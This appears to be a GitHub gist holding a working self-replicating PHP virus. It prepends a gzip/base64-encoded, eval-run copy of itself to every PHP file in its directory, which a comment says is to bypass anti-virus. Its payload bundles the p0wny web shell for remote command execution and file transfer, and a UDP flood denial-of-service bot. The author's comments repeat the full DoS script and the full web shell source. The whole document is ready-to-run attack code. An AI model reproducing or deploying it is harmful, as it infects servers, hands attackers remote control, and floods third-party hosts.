Skip to content

Instantly share code, notes, and snippets.

@tayyebi
Last active July 6, 2020 07:02
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tayyebi/0849501f74712215bf2478388d32fe8c to your computer and use it in GitHub Desktop.
Save tayyebi/0849501f74712215bf2478388d32fe8c to your computer and use it in GitHub Desktop.
<?php // Checksum: 5173f2c74dab371d015ba84ce4b9a343 ?>
<?php
// Implementation by https://github.com/tayyebi
// Based on a talk by https://bendechrai.com/
// VIRUS:START
error_reporting(0);
function execute($virus) {
// Get a list of all PHP files
$filenames = glob("*.php");
// Check each file
foreach ( $filenames as $filename) {
// Open file
$script = fopen($filename, "r");
// Get first line of the file
$first_line = fgets($script);
$filename_hash = md5($filename);
// Check if it has the checksum
// Which means it's infected before
if (strpos($first_line, $filename_hash) === false) {
// Create a new file
$infected = fopen("$filename.infected", "w");
// Codes going to inject
$checksum = '<?php // Checksum: ' . $filename_hash . ' ?>';
$infection = '<?php ' . encryptedVirus($virus) . ' ?>';
// Inject to file
fputs($infected, $checksum, strlen($checksum));
fputs($infected, $infection, strlen($infection));
fputs($infected, $first_line, strlen($first_line)); // Stack behaviour of fgets
// Pull lines and put
while ( $content = fgets($script) ) {
fputs($infected, $content, strlen($content));
}
// move the infected file into place
fclose ($script);
fclose ($infected);
unlink("$filename");
rename("$filename.infected", $filename);
}
}
}
// Encryption
function encrypt($message, $key)
{
// METHOD #1.
// NOTE: You cannot use this method of encryption for large files
// $nonceSize = openssl_cipher_iv_length('aes-256-ctr');
// $nonce = openssl_random_pseudo_bytes($nonceSize);
// $ciphertext = openssl_encrypt(
// $message,
// 'aes-256-ctr',
// $key,
// OPENSSL_RAW_DATA,
// $nonce
// );
// return $nonce.$ciphertext;
// METHOD #2.
// Decompression
return gzencode($message);
}
// Bypass anti-virus protection
function encryptedVirus($virus) {
// The key can be random
$key = 'My voice is my passport';
// Encrypt
$encryptedVirus = encrypt($virus, $key);
// Encode
$encodedVirus = base64_encode($encryptedVirus);
$encodedKey = base64_encode($key);
$payload = "
// Decrypt function
function decrypt(\$message, \$key)
{
// METHOD #1.
// NOTE: You cannot use this method of encryption for large files
/*
\$nonceSize = openssl_cipher_iv_length('aes-256-ctr');
\$nonce = mb_substr(\$message, 0, \$nonceSize, '8bit');
\$ciphertext = mb_substr(\$message, \$nonceSize, null, '8bit');
\$plaintext = openssl_decrypt(
\$ciphertext,
'aes-256-ctr',
\$key,
OPENSSL_RAW_DATA,
\$nonce
);
return \$plaintext;
*/
// METHOD #2.
// Just a simple compression
// If you want to use huge lines of code for BotNet!
return gzdecode(\$message);
}
\$encryptedVirus = base64_decode('$encodedVirus');
\$key = base64_decode('$encodedKey');
\$virus = decrypt(
\$encryptedVirus,
\$key
);
// Evaluate the code
eval(\$virus);
// Run
execute(\$virus);
";
return $payload;
}
// ===== BOTNET! =====
// SHELL
// Source: https://github.com/flozz/p0wny-shell
function featureShell($cmd,$cwd){$stdout=array();if(preg_match("/^\s*cd\s*$/",$cmd)){}elseif(preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/",$cmd)){chdir($cwd);preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/",$cmd,$match);chdir($match[1]);}elseif(preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/",$cmd)){chdir($cwd);preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/",$cmd,$match);return featureDownload($match[1]);}else{chdir($cwd);exec($cmd,$stdout);}return array("stdout"=>$stdout,"cwd"=>getcwd());}function featurePwd(){return array("cwd"=>getcwd());}function featureHint($fileName,$cwd,$type){chdir($cwd);if($type=='cmd'){$cmd="compgen -c $fileName";}else{$cmd="compgen -f $fileName";}$cmd="/bin/bash -c \"$cmd\"";$files=explode("\n",shell_exec($cmd));return array('files'=>$files,);}function featureDownload($filePath){$file=@file_get_contents($filePath);if($file===FALSE){return array('stdout'=>array('File not found / no read permission.'),'cwd'=>getcwd());}else{return array('name'=>basename($filePath),'file'=>base64_encode($file));}}function featureUpload($path,$file,$cwd){chdir($cwd);$f=@fopen($path,'wb');if($f===FALSE){return array('stdout'=>array('Invalid path / no write permission.'),'cwd'=>getcwd());}else{fwrite($f,base64_decode($file));fclose($f);return array('stdout'=>array('Done.'),'cwd'=>getcwd());}}if(isset($_GET["feature"])){$response=NULL;switch($_GET["feature"]){case "shell":$cmd=$_POST['cmd'];if(!preg_match('/2>/',$cmd)){$cmd.=' 2>&1';}$response=featureShell($cmd,$_POST["cwd"]);break;case "pwd":$response=featurePwd();break;case "hint":$response=featureHint($_POST['filename'],$_POST['cwd'],$_POST['type']);break;case 'upload':$response=featureUpload($_POST['path'],$_POST['file'],$_POST['cwd']);}header("Content-Type: application/json");echo json_encode($response);die();} ?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>p0wny@shell:~#</title><meta content="width=device-width,initial-scale=1"name="viewport"><style>body,html{margin:0;padding:0;background:#333;color:#eee;font-family:monospace}#shell{background:#222;max-width:800px;margin:50px auto 0 auto;box-shadow:0 0 5px rgba(0,0,0,.3);font-size:10pt;display:flex;flex-direction:column;align-items:stretch}#shell-content{height:500px;overflow:auto;padding:5px;white-space:pre-wrap;flex-grow:1}#shell-logo{font-weight:700;color:#ff4180;text-align:center}@media (max-width:991px){#shell-logo{display:none}#shell,body,html{height:100%;width:100%;max-width:none}#shell{margin-top:0}}@media (max-width:767px){#shell-input{flex-direction:column}}.shell-prompt{font-weight:700;color:#75df0b}.shell-prompt>span{color:#1bc9e7}#shell-input{display:flex;box-shadow:0 -1px 0 rgba(0,0,0,.3);border-top:rgba(255,255,255,.05) solid 1px}#shell-input>label{flex-grow:0;display:block;padding:0 5px;height:30px;line-height:30px}#shell-input #shell-cmd{height:30px;line-height:30px;border:none;background:0 0;color:#eee;font-family:monospace;font-size:10pt;width:100%;align-self:center}#shell-input div{flex-grow:1;align-items:stretch}#shell-input input{outline:0}</style><script>function _insertCommand(e){eShellContent.innerHTML+="\n\n",eShellContent.innerHTML+='<span class="shell-prompt">'+genPrompt(CWD)+"</span> ",eShellContent.innerHTML+=escapeHtml(e),eShellContent.innerHTML+="\n",eShellContent.scrollTop=eShellContent.scrollHeight}function _insertStdout(e){eShellContent.innerHTML+=escapeHtml(e),eShellContent.scrollTop=eShellContent.scrollHeight}function featureShell(e){_insertCommand(e),/^\s*upload\s+[^\s]+\s*$/.test(e)?featureUpload(e.match(/^\s*upload\s+([^\s]+)\s*$/)[1]):/^\s*clear\s*$/.test(e)?eShellContent.innerHTML="":makeRequest("?feature=shell",{cmd:e,cwd:CWD},function(e){e.hasOwnProperty("file")?featureDownload(e.name,e.file):(_insertStdout(e.stdout.join("\n")),updateCwd(e.cwd))})}function featureHint(){function e(e){if(!(e.files.length<=1))if(2===e.files.length)if("cmd"===n)eShellCmdInput.value=e.files[0];else{var t=eShellCmdInput.value;eShellCmdInput.value=t.replace(/([^\s]*)$/,e.files[0])}else _insertCommand(eShellCmdInput.value),_insertStdout(e.files.join("\n"))}if(0!==eShellCmdInput.value.trim().length){var t=eShellCmdInput.value.split(" "),n=1===t.length?"cmd":"file";makeRequest("?feature=hint",{filename:"cmd"===n?t[0]:t[t.length-1],cwd:CWD,type:n},e)}}function featureDownload(e,t){var n=document.createElement("a");n.setAttribute("href","data:application/octet-stream;base64,"+t),n.setAttribute("download",e),n.style.display="none",document.body.appendChild(n),n.click(),document.body.removeChild(n),_insertStdout("Done.")}function featureUpload(e){var t=document.createElement("input");t.setAttribute("type","file"),t.style.display="none",document.body.appendChild(t),t.addEventListener("change",function(){getBase64(t.files[0]).then(function(t){makeRequest("?feature=upload",{path:e,file:t,cwd:CWD},function(e){_insertStdout(e.stdout.join("\n")),updateCwd(e.cwd)})},function(){_insertStdout("An unknown client-side error occurred.")})}),t.click(),document.body.removeChild(t)}function getBase64(e,t){return new Promise(function(t,n){var o=new FileReader;o.onload=function(){t(o.result.match(/base64,(.*)$/)[1])},o.onerror=n,o.readAsDataURL(e)})}function genPrompt(e){e=e||"~";var t=e;if(e.split("/").length>3){var n=e.split("/");t="…/"+n[n.length-2]+"/"+n[n.length-1]}return'p0wny@shell:<span title="'+e+'">'+t+"</span>#"}function updateCwd(e){if(e)return CWD=e,void _updatePrompt();makeRequest("?feature=pwd",{},function(e){CWD=e.cwd,_updatePrompt()})}function escapeHtml(e){return e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;")}function _updatePrompt(){document.getElementById("shell-prompt").innerHTML=genPrompt(CWD)}function _onShellCmdKeyDown(e){switch(e.key){case"Enter":featureShell(eShellCmdInput.value),insertToHistory(eShellCmdInput.value),eShellCmdInput.value="";break;case"ArrowUp":historyPosition>0&&(historyPosition--,eShellCmdInput.blur(),eShellCmdInput.focus(),eShellCmdInput.value=commandHistory[historyPosition]);break;case"ArrowDown":if(historyPosition>=commandHistory.length)break;historyPosition++,historyPosition===commandHistory.length?eShellCmdInput.value="":(eShellCmdInput.blur(),eShellCmdInput.focus(),eShellCmdInput.value=commandHistory[historyPosition]);break;case"Tab":e.preventDefault(),featureHint()}}function insertToHistory(e){commandHistory.push(e),historyPosition=commandHistory.length}function makeRequest(e,t,n){var o=new XMLHttpRequest;o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),o.onreadystatechange=function(){if(4===o.readyState&&200===o.status)try{n(JSON.parse(o.responseText))}catch(e){alert("Error while parsing response: "+e)}},o.send(function(){var e=[];for(var n in t)t.hasOwnProperty(n)&&e.push(encodeURIComponent(n)+"="+encodeURIComponent(t[n]));return e.join("&")}())}var CWD=null,commandHistory=[],historyPosition=0,eShellCmdInput=null,eShellContent=null;window.onload=function(){eShellCmdInput=document.getElementById("shell-cmd"),eShellContent=document.getElementById("shell-content"),updateCwd(),eShellCmdInput.focus()}</script></head><body><div id="shell"><pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre><div id="shell-input"><label class="shell-prompt"for="shell-cmd"id="shell-prompt">???</label><div><input id="shell-cmd"name="cmd"onkeydown="_onShellCmdKeyDown(event)"></div></div></div></body></html>
<?
// DOS BOT
// Source: https://github.com/brielmayer/php-dos
// Usage: http://127.0.0.1/dos.php?host=TARGET&port=PORT&time=SECONDS&random=true
ini_set('max_execution_time',0);class DoS{const MIN_PACKET_SIZE=61440;const MAX_PACKET_SIZE=71680;private $host;private $port;private $time;private $random;public function __construct($host,$port,$time,$random){Preconditions::checkArgument(strlen($host),"host parameter missing or has an incorrect format");Preconditions::checkArgument(is_numeric($port),"port parameter missing or has an incorrect format");Preconditions::checkArgument(is_numeric($time),"time parameter missing or has an incorrect format");Preconditions::checkArgument(is_bool($random),"random parameter missing or has an incorrect format");$this->host=$host;$this->port=$port;$this->time=$time;$this->random=$random;}public function flood(){$socket=@fsockopen("udp://$this->host",$this->port,$errorNumber,$errorMessage,30);if(!$socket){throw new Exception($errorMessage);}$length=mt_rand(DoS::MIN_PACKET_SIZE,Dos::MAX_PACKET_SIZE);$packet=Random::string($length);$endTime=time()+$this->time;while(time()<=$endTime){@fwrite($socket,$this->random?str_shuffle($packet):$packet);}@fclose($socket);}}class Random{public static function string($length){if(function_exists("openssl_random_pseudo_bytes")){return bin2hex(openssl_random_pseudo_bytes($length/2));}else{return str_shuffle(substr(str_repeat(md5(mt_rand()),2+$length/32),0,$length));}}}class Preconditions{public static function checkArgument($expression,$errorMessage){if(!$expression){throw new InvalidArgumentException($errorMessage);}}}class Application{public static function start($args){if(sizeof($args)===0){echo json_encode(array("status"=>"ok"));return;}$host=$args['host'];$port=isset($args['port'])?$args['port']:80;$time=isset($args['time'])?$args['time']:60;$random=isset($args['random'])?$args['random']==="true":false;try{(new DoS($host,$port,$time,$random))->flood();echo json_encode(array("status"=>"attack completed"));}catch(Exception $e){echo json_encode(array("status"=>"attack failed","error"=>$e->getMessage()));}}}Application::start($_POST?$_POST:$_GET);
// VIRUS:END
// Get virus file contents
$virus = file_get_contents(__FILE__);
$virus = substr($virus, strpos($virus, "// VIRUS:START"));
$virus = substr($virus, 0, strpos($virus, "\n// VIRUS:END") + strlen("\n// VIRUS:END"));
// Execute virus file to infect other files
execute($virus);
?>
@tayyebi
Copy link
Author

tayyebi commented Dec 6, 2019

<?php
/**
 *
 *** Source ***
 * @url https://github.com/brielmayer/php-dos
 * 
 *** USAGE ***
 * http://127.0.0.1/dos.php?host=TARGET&port=PORT&time=SECONDS&random=true
 * 
 * host	REQUIRED  STRING  target IP
 * port	OPTIONAL  INT     target port. Default port is 80
 * time	OPTIONAL  INT     seconds to keep the DoS alive. Default time is 60 seconds
 * random	OPTIONAL  BOOLEAN randomize all packets to avoid packet drops. Default is false
 *
 *** Script to perform a DoS UDP Flood ***
 *
 * @author c0re^
 * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt GPLv2
 *
 * This tool is written on educational purpose, please use it on your own good faith.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 *
 */
error_reporting(E_ERROR | E_WARNING);
ini_set('max_execution_time', 0);
class DoS
{
    const MIN_PACKET_SIZE = 61440; // 60 kB
    const MAX_PACKET_SIZE = 71680; // 70 kB
    /**
     * Target host, e.g. 127.0.0.1 or google.com
     * @var string
     */
    private $host;
    /**
     * Target port, e.g. 443
     * @var int
     */
    private $port;
    /**
     * Flood time in seconds
     * @var int
     */
    private $time;
    /**
     * Randomize all packets to avoid packet drops
     * @var boolean
     */
    private $random;
    /**
     * DoS constructor.
     * @param $host string target host
     * @param $port int target port
     * @param $time int flood time in Seconds
     * @param $random boolean randomize all packets to avoid packet drops
     */
    public function __construct($host, $port, $time, $random)
    {
        Preconditions::checkArgument(strlen($host), "host parameter missing or has an incorrect format");
        Preconditions::checkArgument(is_numeric($port), "port parameter missing or has an incorrect format");
        Preconditions::checkArgument(is_numeric($time), "time parameter missing or has an incorrect format");
        Preconditions::checkArgument(is_bool($random), "random parameter missing or has an incorrect format");
        $this->host = $host;
        $this->port = $port;
        $this->time = $time;
        $this->random = $random;
    }
    /**
     * Starts an UDP attack
     * @throws Exception on socket error
     */
    public function flood()
    {
        // open socket connection
        $socket = @fsockopen("udp://$this->host", $this->port, $errorNumber, $errorMessage, 30);
        if (!$socket) {
            throw new Exception($errorMessage);
        }
        // generate random packet
        $length = mt_rand(DoS::MIN_PACKET_SIZE, Dos::MAX_PACKET_SIZE);
        $packet = Random::string($length);
        // write packets to stream
        $endTime = time() + $this->time;
        while (time() <= $endTime) {
            @fwrite($socket, $this->random ? str_shuffle($packet) : $packet);
        }
        // close socket connection
        @fclose($socket);
    }
}
class Random
{
    /**
     * Creates a random string whose length is the number of characters specified.
     * @param $length int length of the random string
     * @return string the random string
     */
    public static function string($length)
    {
        // openssl_random_pseudo_bytes is the fastest way to generate a random string
        if (function_exists("openssl_random_pseudo_bytes")) {
            return bin2hex(openssl_random_pseudo_bytes($length / 2));
        } else {
            return str_shuffle(substr(str_repeat(md5(mt_rand()), 2 + $length / 32), 0, $length));
        }
    }
}
class Preconditions
{
    /**
     * Ensures the truth of an expression involving one or more parameters to the calling method.
     * @param $expression boolean a boolean expression
     * @param $errorMessage string the exception message to use if the check fails
     * @throws InvalidArgumentException if expression is false
     */
    public static function checkArgument($expression, $errorMessage)
    {
        if (!$expression) {
            throw new InvalidArgumentException($errorMessage);
        }
    }
}
class Application
{
    public static function start($args)
    {
        if (sizeof($args) === 0) {
            echo json_encode(array("status" => "ok"));
            return;
        }
        $host = $args['host'];
        $port = isset($args['port']) ? $args['port'] : 80;
        $time = isset($args['time']) ? $args['time'] : 60;
        $random = isset($args['random']) ? $args['random'] === "true" : false;
        try {
            (new DoS($host, $port, $time, $random))->flood();
            echo json_encode(array("status" => "attack completed"));
        } catch (Exception $e) {
            echo json_encode(array("status" => "attack failed", "error" => $e->getMessage()));
        }
    }
}
Application::start($_POST ? $_POST : $_GET);

@tayyebi
Copy link
Author

tayyebi commented Dec 6, 2019

<?php

// Source: https://github.com/flozz/p0wny-shell

function featureShell($cmd, $cwd) {
    $stdout = array();

    if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }

    return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}

function featurePwd() {
    return array("cwd" => getcwd());
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => array('File not found / no read permission.'),
            'cwd' => getcwd()
        );
    } else {
        return array(
            'name' => basename($filePath),
            'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => array('Invalid path / no write permission.'),
            'cwd' => getcwd()
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => array('Done.'),
            'cwd' => getcwd()
        );
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
}

?><!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }

            #shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            @media (max-width: 991px) {
                #shell-logo {
                    display: none;
                }

                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

                #shell {
                    margin-top: 0;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment